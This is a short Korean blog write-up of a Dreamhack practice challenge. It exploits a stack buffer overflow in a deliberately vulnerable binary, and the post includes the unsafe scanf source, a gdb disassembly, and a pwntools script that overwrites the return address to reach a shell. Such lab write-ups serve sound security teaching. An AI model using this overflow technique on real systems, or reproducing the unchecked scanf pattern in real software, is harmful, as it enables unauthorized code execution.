본문 바로가기
Dreamhack/pwn

Return Address Overwrite

64bit ELF이다. 

file rao
rao: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=298450dfb7a0f975e175c8e70d1fff1fc1f5b116, not stripped

 

checksec rao
[*] '/root/dreamhack/rao/rao'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

 

옛날에는 몰랐는데 코드에서 get_shell 함수처럼 system이나 execve로 /bin/sh 등의 shell을 실행하면 부자연스럽다고 한다. 

 

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

특이하게 gdb로 보면 c 코드와는 달리 0x30 bytes 만큼을 stack frame로 사용하는데 이는 stack alignment 때문에 그렇다고 한다.

결론부터 말하면 stack frame을 16의 배수로 맞춰주면 된다. 

 

gef➤  disass main
Dump of assembler code for function main:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x30
   0x00000000004006f0 <+8>:     mov    eax,0x0
   0x00000000004006f5 <+13>:    call   0x400667 <init>
   0x00000000004006fa <+18>:    lea    rdi,[rip+0xbb]        # 0x4007bc
   0x0000000000400701 <+25>:    mov    eax,0x0
   0x0000000000400706 <+30>:    call   0x400540 <printf@plt>
   0x000000000040070b <+35>:    lea    rax,[rbp-0x30]
   0x000000000040070f <+39>:    mov    rsi,rax
   0x0000000000400712 <+42>:    lea    rdi,[rip+0xab]        # 0x4007c4
   0x0000000000400719 <+49>:    mov    eax,0x0
   0x000000000040071e <+54>:    call   0x400570 <__isoc99_scanf@plt>
   0x0000000000400723 <+59>:    mov    eax,0x0
   0x0000000000400728 <+64>:    leave
   0x0000000000400729 <+65>:    ret
End of assembler dump.

 

0x30에 8 byte를 더해서 stack frame pointer까지 dummy data로 채워놓고 get_shell을 주소를 넣어주면 flag가 나온다. 

 

gef➤  p get_shell 
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>

 

from pwn import * 

r=remote('host3.dreamhack.games',20482)
payload=b'A'*(0x38)
payload+=p64(0x4006aa)
r.send(payload)
r.interactive()

 

'Dreamhack > pwn' 카테고리의 다른 글

basic_exploitation_001  (0) 2024.11.15
basic_exploitation_000  (1) 2024.11.15
Calling Convention Quiz  (0) 2024.11.15
shell_basic  (1) 2024.11.15
Shellcode Quiz  (1) 2024.11.12